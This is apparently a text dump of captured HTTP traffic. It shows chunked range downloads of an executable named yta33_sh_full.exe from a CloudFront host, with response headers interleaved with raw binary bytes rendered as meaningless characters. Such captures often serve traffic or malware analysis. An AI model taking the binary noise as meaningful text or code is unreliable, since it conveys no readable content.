...5=....._.............;.w.=c.,..B.....R.aJ6y<A.Y...(.....Y<;^.
...j...N._;cU..B....<\....&Z;../BI.F.gB..~fy..-.b"U..n.....r.v.....
.#.hY.<.c..8.4.....Of.8:.S.>..[.....C.A...-...j.._]B.R.U...p..-.
.M@_.s..v.\xh...eC....:.T]..g...-....;0....u.LrU......U..;.T.R.c.? E..
.C......,.O.l..sk}.$:......t.ly)-y./....,q...j..>...9..`.q....Ip...
2.#I:...K..G.3>Z....^.n.0...H...o.Hr.H.CkcE...o.H..b.~3....}B. ....
b.(.)..Rr....cM|W....[hA*[email protected]$....Ek.o.FxjJg...[.....C|3X
....vO.nP.'.p.].]d...=.m.........t..V.#.....L.Z......M.S.4...X...X...P
.7.....F..QG....2..oG...^[email protected]~v...:1.mQ.g.../
..q..c......>.n.{w..0.J.....4...ND.J..|......&....un?.iP.%.u..U.q.J
--S.....&-|..W.........7..(f...4..T.1h.v.>.......$.oR...N.1M..?..=p
..- ....&)S...>I..l....V.).CM.?.....c.}...8..':.\e.7W1.U>.m.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2000000-2249999/7592848

Age: 49623

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: D98CG42Bc7Jrn5GaVUz8v8RisSfWszBuw-a3D9KtYyBYbO5T4EfbbQ==
... .J2eE...t^(..{i.L..a....u..Z.4..1.....n..0...G..U....BT.e...y....r
G.........AP3.E..<.:Y....g..U..d..f....O.G?.x...o.x .I...p@%...61.k
\...C}....G.H...."..-..#.3... .... ......5E...N...{....).w......@. ..K
!.0r.'..$..a...=....7.M..u....?4.?vJ...s^..|s|.c#A....G~Jn.."V.L..=.l.
..5..D........HFK[.f3.1F.?F~..T.!.........m.Q.AQ7.&|a:@.~..;.w..\..d.h
.22..7Hv......I....tv..O.....RQT(....~^...H....)... .Qb.(.L-.R.9S\....
......>6%.y....)p.L..3..}}.K........s...ig..-.....v...b....x.Zi....
..bP.....*...9.C.......~.9Fy.........-R. ...ArF......<.A..q..D>.
=.....XX,4.H.{..k.K..~.,Q.E..3....J..!....Y?.uh..i.;AB......v.w-9..B.`
.v.,.....^v......%M..].A....=o.........p..M..............?..0.....g.i 
|....~..fe.@Y..%....}..j.....nO...;B.......ZR.M..p...I....m0.Ato..5...
I....S.Fq..C.@.(...3N..b=*yC.......C'.[.......9.......C.^.UgHc.~..4L% 
...n..1..P*a7.E.`.U4.H.kG]B`.1z.. ..:R.D J.c...d..t......8*91zQ.......
...(.....&r.U.A.!-A.......D.......l..O.....FL.j..v.....Y..W..?~7N...A.
....~..../?.......1._.n.I.......D...*a"..:.M....-*&.|.......4..t.3.M]O
gmw.'.I~jX.$...V....... .M........7...r:...[..Ka..)=..A4......,T...t..
TOm...v.`#.L$.d..pC..3.{...2..y?.Ua.x......r.O..U...J..`.s..}..1..rb..
l...E..>...I....:4.,_.H...$A.8......Vlh.i.P%....e@Z...%,...|.?x.a..
L..[G..e....J....U9.T.E7>...h".{..2..3*J.B.c6,&. .,..*........o..|.
..........~...R...8...........k.f.].I..-vH....5/.MCm.{v...d.]<.Y...
..5..g....a4.......^.\.. jy.;\).C$a.v..U.m.. ..I|..<.3..j...b...:!.
../..J.....B ..Xj.J5...Sn6M.g[D:..L....9.....nD.z._d..IG-..,$Z....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2750000-2999999/7592848

Age: 49624

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BdfkHUmzaYTkOlZLQE9deWUMAsJ2Q9KKCfuNIJcDrXpZ21ZH6kWY0w==
.."V.....iU.(VE.W..a..g.G.... ..1;.&E....L./.zO...9<.p.......K.....
..|........:[email protected].."....x(N&.-......`.;..Je.<U.R...CJe.
<>......*.........M.<.......YA..y.....(...G..n......</...i
^........HL.{...W..^........K...n..#..I.....=....x.....T....g.^q. .d&.
P......Vj..h.?._.u..e'...P..>.....sA......K.sY......D2..k......j...
....W..3b..F.?K!.....^6gI.:.../ .... ....I..._...z >.<..].d.....
R3...3<.Ni.....K.?=v..4..b....O/.-..GFsr^.9......-.B.;c.......|....
..H..(.7N....b..p.7e..7L1?z.1P.......7.........[q...[L....-M.;.O....V.
... ..d..|Th..8.X.\.z)....w.8B..7...'.k.r.y....../..q.)...[.p&].N6.xc.
.....m.xc'ol..m..m...U.z.y.g..t.AMM..!G.........O....[.y...|..3..6...x
....}....}X*.....$..XX[`.i?\....A.x.%.:.z........Pw..D......'O!>..(
{......`..c.....A.w!...bt.I..I.:D.......s.8Q..P....GRaZ._BK .......h..
La,.D..H.........9Fij.-...W......yY..BU,..0....}.,\..oG...N...].b.5...
..Z..p. ....*...v*.......N..$n.\4...$..dUo6....Ci...xzY8m.C...g."m....
[email protected]%"!...gU.."s.$.E.3....an....O.F....".`...........6..../.2...
..k...._....EA..%!..`...|...P]'hV.S..]..E.xIj.N...'....\....[.....@Mn.
..|......cqf..u$........... |...w........i.$..u.{.B.M..H.....?..'.. y.
.&}=7...L.....u.... _......l.Q....h....\.......Jv....6.t.a...M.......:
^..;[email protected]./."1.....KT|)...k.o....?0s..>
;A.xz.ovd.....?.d.....*...*]_.....?$....G0..sp{.8=.h9.x.. .w*..D..b.-.
).*....j.<).Ri.^..;~...y..L.....$....R...M....YX#\........i.e.....4
...1.~*.[D0x...?.....[........'.ob.../..D.?x.U:....LY1.... .S.C[..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3250000-3499999/7592848

Age: 49624

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BayVgd0GVYlp4Id8NLSUbpSV8N1pGWwEz9ufAMyYvIvvFLLPR5VDbQ==
..m. ....w..`.\W... .......... .t5.v..`).]AAQ.]W..s....%uv..*[.\..\.[l
^]A(.. .zA.v............q.uv..... .......-.v..V......o..r.*.-;:$c4`.0.
|q............D..W....J....`p. ...].%.........u\C.Bz.W..w.T..h.. .....
....sn8..E;8OT*wp..S..X.i ..]..U.....A^@^.5.<.k8.9.2e..e.@..;..Wc..
...@.../.....z.^. .W......v[}...fa..b*....J.%."...G.Vi.u...b..n.(.8...
..m..g..#<.k....t.?.n..).Ep....5..I./ttd={X.(...Yf..?.(...\..*....P
.,..EJk.k./).6%..K.0.zr........#...w.._-,.%..=.....,..W......._...b=..
6.r..nm.Ju......\.D....W..es.Re...\..$...a7mAS. z......-....O.k.....z{
..lV....Pc....u..*h....#.3..u{......l..y.|.../..]%HwRay.Q..K|.BC.t..Y.
..WM.."t..$.^..EV..-.^hT@4....'.DY...(.....`~...E/./<"Ppm?.D.%.N.A.
 .../....`..>I([email protected]~.&.T.N.$..... ....L.W.fx.h-.[B..k".c
uDE(...*1`.8-.Z .b.../.-0M.."XE_....g.QS.O.B...(..T.m..(.......1..J/..
..}(....d|t.^8.. oN$\...>.)E....][email protected]..
.&.v..........}..)).%._.A..R1..T3.$7zVh.I..R3tX.*n.tZ..ux..HV.v.?...).
.=.H......u..swf.b...([.xA..[.G...B^d...;.$..}..,...L..x...}...$...zg.
.~?;?{.}.....r...T......2.........ESs..'.-;.........{Bo....g....u..2.2
...M.}h.~|6-.O.^..y|s4wU..K{Z.._..R..|*s....7....u</...5.......mS&l
t;Y.....|&.....>.y.....s= .8O...4r{...d.,.F.>...x/'.!...G....\{.
...$....J..X~...G.V.&....T...slG.E[He.}..q.R..iz ...i.E|.....&....N.$.
3.F.2......4....~.&z8[].Z]..o.=?]>d.b....}3.....G.q.#m....eF^.1($.G
q....^..[.__.....:.M.%.....>...%..g....?%s..RZ...eB....}&.J4....E|0
.k....'....r......9...*../....|....^.8i....K.{..5.#.Y..|v.;.).Y.K\
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3750000-3999999/7592848

Age: 49625

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pWdGPGIFo7jOtIApoaiZxPs3lX24BBeW3uLryBx9B5lA-XlMMnaf-g==
..7..B).....w..nm9[..i.~.u.}....A7 ..!6-f....`.[..S...N....^....p5*..^
.n...Z...o...~.X.{2....%I....j..h.r.....O..Uq....U|RT....Hg.eJ$...Q[.%
.?..1L.F.e.(.=.... .&.........%;.JI..........Q..w7..~KV?i.....;.-....,
mJ..!:..(.......Z.....l...\'........oR...6U~...p}..7.#..]T...@........
.2/\..a:..Ck....A.H...t.....{O..Vl..=WE.......gEN.].d.wT..?M.).....7..
....-V. .#....~.."Ay..$..R%k....y..oi|)B..G...{.........=.F..!DT.Td..g
.{...("6|J9.....,. [email protected]_ay=x.\.....!."=w}..E#.T..]V..%.....\
..6........Eo.Q.......O...,w.GI}.G...-..#7....z.q.ld.....*..LPI..d....
.Z....u.Wm.$|..I..`OV.c.s..i......P.9.w$.Ic..w,B....d...K..}.}.0.(...?
.Z/..y.P..B5........ j......):fxKQ..~....R....".}.?".. ...#..b....*z(.
.(.."....#^.t...W'."$r.C......?...6.@.:...]._.....}..oD...........TQ;.
......2....6;..t..~IV..>CJ.U?c..)%E....L.%..7u.-.[..W./%V.W.UJ..L..
...1x..u.,..YqS[..g.N_......NTc............3.Kk.5s.Ng.i......V.V%Q...s
.-.  .ED.NUk=..5..>..-.......75..e..HR.~.IE.. ..O.9..........<..
..Sx..V.!...&.......K<...]w......uim.;f..zr..A.S.G.qx..[./..d.J.}..
.-........,...!u.TK.Op.>Q.5o`..1}.qws...0...YHC{z.....I.8Nk2 z.~?h.
..<O_... ...._W....g..~..QT>m..2..:.~j.-7B....7H.....!$...65..7.
W_.......jF...[^..C.....M&....u....n@ w07...E...G......Qkj...2u.......
..Gc.....q.h.I.U3..k....(..F.]."..7..?.{. .7[.... ....... ,..BA..i.ys.
LQ@..@...#......H...j.*[email protected]..._.T\P >......X.@`.0..&
. .C..l.M...o;.........'.E(O...x....H...)G....u.......iRBQ..:z.. :...F
.`.........?.;...#..]&..i2...&..'r....$..}...rx.....P....>j...M
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4000000-4249999/7592848

Age: 49625

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8z9Lw9_AlKsp6mfeP1g_pnr23Erz-uy88aLe-wcPPKXEc4mFhXfq3w==
..9....M.......e*(...k.. S.....h;.>.o.e,/..,.*.....&. ,9..t...q..2.
/.\. ........}V.&.o`..T.....0.}.qFx.........eN..\][email protected].\H9.I.0.k
.G.b.%.T.e..e......`3(u.T.X..~^GY.:^.:^,Q...b.R..........V......_>.
.....J[aF!...V.A..*]a..W.t.e.Mh.s'_...*.H.Y.NX.'..,.S..e.Bx........Lup
..75..P.<.O....{.r...f|WA.G..X.n55.....b.....f.?,..L...pu.....C|.y.
..v.....x.Hv`#.6.qW...6."SU.....T...U..U=O..z5..J........N....A....jJ.
f..9F..?............."q....l....5.|!3.kx|C..;!e... ...w>.....|...t.
..6...X.fF....m....................*.z...H.K).M.c...-M...E. *h...LNN.-
cQ..R..V.(..4 7..j.i.KZ..u.I...2...{..>g.L...}..'.39g...^{....^...~
K..\...C.G1...)!y0.....Xl8,.qf.8...(......x.4`.d.....y0..`2g....y...[.
@s..F.....\.x._.QXn....a....-..k .-......y........C..w....V..*.....y..
..t....yf...-F........3X.w....&.P. Q1..ZA.yP...)..s5._.S..|..2.y~s..2.
[email protected].>p.Z..h...)W.......K.x7.D....g.A.... G9..
.N.x..*...Mp..Nn.....]2.<.... ..,[email protected].}.
e....c...".i...c..S~Q.....1...0bdP..] ...0.; ..\..g.BN.....|W.s.> (
L..b..5.|-b...<.[.".kE..............F.....O.Yu.n.|....8-.b._7i...d2
...........;L............y.V....qs6A3.F.....sZ .I....G9mF...2.)...>
Z~uJ.M.x*&..=..FdH..(....5.D..1z$W^....f.3.....80?..3.#.T.8.sp...<w
...3....1.Qq..........df.......O..@}p..$...F.....1;{^"[email protected].
...A.N.jU.ay.M....6%T...oS25.'.iW.%o^...../%4.....2....h*...=..PI2....
$...H4..y.a.7X.B.).f..,...........V.O..|.y..o.wF. |0..j..O..".9..D.'.K
[email protected]=].,_.S/g.C.?b..v.x.V^.D......&...du..E.H. ....'...gH&.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 4500000-4749999/7592848

Age: 49625

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i5E8bk67yaYtiimwsgvBBtP-SyQu4aLQQdAsfcnpNMDcn1D4arj_qA==
.`A..Q.K.......v.C*uD..~.......[zV...{....'.....g.....X.B..sx.......C.
..$...97..K..w._..x.....".s.,[email protected]."...ER.n.......F.E.G..E.
/.[S.D.Uy.J....`....r..lV.*...\.6k4i...3d.i.u^mP..Q.Y...{..9b...M..j..
...L.8rR....$.V....(_@[email protected].#....(..Y...kz7...P..g.W..
. ...B..>.C..2-.b.W:.....Hj..l..4[.kNv.L.......r..)r....}..{...x.g.
.".I,jy.n..@..\....Q..8)br.4..Z.O....:...B`..Tr.....E.E...[.......w...
....)...e. ...P..5)..W.r.......S...3. ,C.pc..H.p...:..}.K8.,...}i.I3..
'.....?.. ....j.(s..f.n.....4.z.h....H%}.)...)..; ....=...DR...c^.....
|G.L.*......g.kL6[..l9g.H..J.....B........H..<........i.TE,7P...SA.
....\$..H..sV^.9.F.b.....;.....B....."..7...n...$..t...=|..G..=.|.....
z..h.^... ..y...._.4..._....J.{... ).<..cf...7:`......Ef.>ef....
..>...T...m6E^...jvKQs%x..`..s$.....,.<........Sx...=$..Y.....1H
0..c>.......i....<:V....S.Bb...VN..I[].>....h.(....G9t.....?|
.dI..-93....CLx.T....al'. Y..~...MO.........[..v..q_..Xs.spWC..&....r.
@S..o.....I/.}.e.u........bj...\d..}.9<.7.......K.j3..zz.#.(..A..:M
S...=5-...h...]j....P\............,B1md]..._J..=.8b.X..#...h.5...uSxOh
.f....._..l_CC.....<...j8^.U...8......"._....78g$.kV..Mon.~.....D.f
k.&..y..b".\x.....^...ox.......^/:P.........B. P....|...-A..=..TIR.,..
2..fb?..cg.k...)...A!|/t.....v.>O&..........p.{....?1,Y....u.....OQ
K......-....\B../.tV..:xO.QdjK."u...gQ........�..........,....$.\HJ.
...>..Q..%?.. .z.....OJ...S.m.C..|.vK.sx...y....=J.....Ah0..$%.C.ap
P.J.y...k.O:.J..Q...E.O..c........zc..G0.....e[.....0.1..v....g..g
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 5500000-5749999/7592848

Age: 49626

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mA4ui9nnCKJ1Er3y0htd8lOJ5Y9DQrnMVR_IDnDfTOxVRc180s-MFg==
{..E...,.p]......N[Ap.i...F...S....%.rj........F..B...u...OO.=......Qd
.,....Y....U}...........=r. t....GZ.^x..U......u.G...O.?.R<....`...
-.V%.....n.b.....*..T...Na..c.B..6....^........(....rBU$.P (...Ub(j..i
...Z. .....%.p..... y.........*.._..$^&.o.C.Z....<...Q.......H.oc".
T..>...4,wO...E....Y"R... ...5....t..d..<...u.iKq.Ax...E.....pj.
D.Q.....,2&.h..V.7}...4..^.~.0.......'>.d.0. |...^....XI....N5.....
RS..N,.D.m..U.....{.M.......HY.W>_v.....:..o.aR...8k..9..d1{ |[....
...?d.{.))...T...P.@.&..( .]..5..q..a_..-2o .....| ........ii..^..89..
|c.E.O..};.43.\{.Y.hYb...v4.F.8...<..f..'.A....e)p.......9:.M..IqG.
......U.Yn..\0z!.~I._..'(`.1]8.uZ.q......p.5W].a.z{)'?..\.[...Nz.....l
...p._o*3.9...M.c.n.r...,.`..x.. ......-.I.)...D...B...`..3!4I. ...*r.
j.r(<..1...\=.z3.r.gp..F..ESV./]....!...O.....Mi......6\.=.M@.".gv.
..?. ....ag.X.?Qv%..".........;..C..".......8....=...U)2E..46.#..r..R.
`1s....G..Dps..Z0[R<..1.;.L........P.VY.. ..>n.<.TC.P)..`..p.
.U7...r..._..........(2..)!...._%.x1q.m.S%...._M6`.'{.............k8Q.
....\.I."B.p...)uU}..B....6l.XC.O...T.I.'..9.y..&.hj....Z....W..|Yh.i.
#...!4~`SR&...5......q).............p_(....D.............' ....Y.t.I..
........9.u4.|..|.-p...L=z.M...I.i...z..qu....XG...e ."A5....=........
...4.]...[...K.......?m.g...U.N....._...w......G.S).8.A]..Uu.......P..
...1..9;.....-f"[..Tl....Lg...0 ..a...h.{u=.j?.5.`.p.s..h.4.....F...zZ
.}:...'*....E....-$(.....Nr.S.....6..`1..Xp-...s..h..... ..E.(..t/#.0.
....V...<K`N.G..._...M3?...../.=#.....x.$6.......h..J..8.....SH
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6000000-6249999/7592848

Age: 49627

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Lr1F4U0EDIgtV7bjjTuffuaB_7fiHjenv1Ufpcyax0-uVSp6uELqNg==
.."RL.2.;O.......c...c.!..|B..nh..<A(2/s...g.n..j9%Cgv.N..S........
..]J....R;o.t.=......`.?.!E.w..U....!.....`*[....P ....ym>B..I...\.
..#k.T..W...`..}hc....m...=....Y!...=.Z4.....p......e...*.}..g........
..Ld..z.....k.r....y3PRS..B....Ty.'..,C.)0~.H...}.=..(5.G..D...c......
O...cCa%k..]..R...?w7.DP....tg......va?..}.k.......|..w96.l....'9.N e.
L...Cc|Xk`....z.....I3n..B5r..1.2.d..!...Z..0..q..,J.].*..'..?.4.E.X.)
....=`....-.....Z....m.....V.....ij........m.Cb.......i......[.......F
.*D.U.A.-.....>]p....V......u{s..&.@... D....f2...G[...T....|'.T{&g
t;...|g.d.lA..3SI7.......d.2...V....... ..*.5.?].E.....KIE......P.L..]
`.w....U8.3vE.xm...'2^$...0o..'..5..H....T.y..S....X!.-....M.....E...}
ep,.J.....~{. .......]....r.J...,X.....;.$F0...3...D.%.....W..5\..I$..
..[.H.....!..>.-.z...f..._...).o..'[email protected].....`....S..V
a.<....1.-.M..T..Yl.w*.'[email protected]:.Tj$K.'6..#.<
;]$Z.I.Sb7GI..&...T.E..f.z.a.l..Ix.MM......4....r.1NnG6...K..`..yL...:
.......2...f.G..<)P).......h.g.nx.."...q..V...kC.\........]'.......
oB'..)....Q.ah.a....,...#..s\..P9$R<.p....pB.....9..._...<......
..9...P.-....Z?%..........h...0......c..`|E...9l.r...).... ..4.. .....
...g..Y.CH0|. .[E........./..*"!.............r.....:..G.....i...i<U
y..w.\.. a.!\..1..p..'L.`%-4....K;.$xt.l.l9.. i...\....u.)...Mu......u
WA}..Ws/..h.|...C].....{...t.*....?....<|T...2.....Y.qU.y,.A &B<
[email protected]...'.:.. ....t..\[email protected][......
............Z..L....ds...../.CY..7e.K.O.k...c..q...0.a...f/v.#...Y
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 6500000-6749999/7592848

Age: 49627

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: L8oFKtPcq0FlzhsJUMhxusj8vdwfDeJ5w7N1zTY1aWn-1r8-uVqa0w==
mg..u.E(.`r....w...u!d?...y...ps..PP.-H.e7?i.p..QB@F"..A...9B...(....3
m.O....^tW.....7W(...8>|..nG...0..=3........K...`............5.....
.{U....y...AE..f.&..a..N~i.3.. ....$.2...[...ZC....X...s?.0>..xV.. 
.h.pKz..)....'......,..)..4...R.......N0#.o.....Oeu....#B....&;g.....I
...d..`$)..-.\W#..Vh.M....1...D....O.<...K....> .............)/.
.q.B...s..)..<.E.f%.i..OcO.~.m.....E{......0,k-Q._./.=0...z./d.`.=.
.j...Q......[.yK(.q.._y;.d.R.....,. .^w7..X....*0}f.[.......Z.N.9...w@
.f........A.....D.(..7...x...O.....m....Tn.8.8(.m7.:4,.i..7'..g...}"..
W&............ z:A..<.C..O?.....\V...."O\.p.F..l..g@..]..?......3.;
....)........zHc....w..nu.s...Q<Y)......x8....w;.Q.%A......../...h.
....fT....1..2...=./.$M.....!......o....=;$2Ik...f.t...`.......N-Z\.L.
7.'F..mQn....&3.C..,.wU.-.....msfo.L$.. `....t9....DE......6$.pc.`{...
Z.l`'L....68.S...v..a..[j..].....8c.K.fY..i../&...Wm.wz^..l>..Ra.@.
..g...<.F./.t`.J.j1.>R_"|..KR..aU]C1...j.......-.lxT.......)...E
r......._%......!c.Ur $=.U.3...I.9..y.N....yf3..K>`.e.|@...V.QPW...
H.......m.A...=g..l~W.ef^.H.6.[.....-..1:e.f./../{$}.........^p.......
2..x....5....n&V.q=I.~..zr..A.........#;N..4`k.x.f...ueP......._..@l..
......}gg.`..6..Gf .w....x.l..OQ.e...*....R...].*{..&0....m3.u41.a].7q
..u....9.~.o..h3Cr......7e.......E..w..K.\.n..c6.......$.ZT'.e..._..Y.
?`....t..c.hq.....A.u)~.Iuil.#...C....?..T..TA..}mn&......\...44.t..t.
.R( ...re...G.....60..E[....S...v`...#>[email protected].
.b.%r....I..P/.....35U..GA.. ...=!....-o..p..ca.UW..aL.....!H.....
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7000000-7249999/7592848

Age: 49627

X-Cache: Hit from cloudfront

Via: 1.1 2c6cce35b72d2cb60ec9fdda3e946d93.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7p2eJHf_Hn1mvmibvY2otYus2-Et8KrRRFV3tvCQ7l7p8weqzC_PVg==
..2..1.u..[....U....se..... v......fLN=O}{.>.)..i.|S.'...Ou}k..pY.y
...4.\: .u..[x.@j....,'.S...xX6..<*.......=......u.J=4 .(.:..2Fg.u.
.S .Im..eRm...HQ:E..f#.....!c.^.>`.S).QL8...wb6l....II2.."[email protected]=.
$..%.........*..T..Z...n...s-.F!.F.!.Y..f...J2..gK.t...#.."[email protected]
..'..Z^#9@`O.P.{....y.j#"M.]..-.. ..D....(..Y<.......^..!......^5..
b7J.........-..?....gQ.`.....3......z.`...y~.....-j.....sL."k.....!s..
w......M.q......o..t..0....)!.\.P.d...|`.l.?..U8R[.,%...A..Qo......f..
..\..o./.f..;....x....q.g.../.......*.F. .=.'....(..~.......{/..5.(..|
_\[.r....t.S..e.....;j(.QW....7\.. ...V.....'O....{.p.N....%.;.....#..
..E.B..j<MOj.*C...K.:M]=".b..c5.l......~..r.k..5.*..g.....Oq.......
...-.rqP..N...(....Kb...kKi.H`.aU..w.bz...S.......N..0A.....?.H,.W....
.ou@."....8..Gk6....NEy*.......D.A.....?.."...l.....'.....I2.Bs.H.5...
<2...T.....M...9.. .......eJ..pgzg...WU...0Z..i`5..{(..<........
Bu.G...V...W#-r.T...p)U......V.s}Q.4...%.X).iO...H.......Y....O..p..,.
._..?n'1..v. ..WW. .vJ..v1.E.....V....c..Oi.AJ...d.....f0!.....Cb.Z...
B.|.2...\.K.&[./._N......<>.kl..z.._.B..Y.!;. .Q..T...N.........
....H....N.Jd...<R>.....?JT... .>j..xz....lG&.d....j..aR...!.
.D.11..-v.;..l...6....t...fI..I4i|...7Y$...:h.....>1.,DFn#.j.....10
..5W.?..7..(....mZm>..5P..98.K..R&.!.J..6..{..I4...`o..8....a...fi.
......o/.d...._s&..3K.......F.....d.O...r.2....v..*..}....wK.8...k..Z\
...-.Yv..VU........p....|\...]#...X.DG..% .4......D,Q.....:(1.. 7x..*.
...hG['.i.....~...N..$.p..D..VZ...Saw..$.......:.......*.Z.N......
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7500000-7592847

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 92848

Connection: keep-alive

Date: Fri, 25 Jul 2014 09:15:55 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 7500000-7592847/7592848

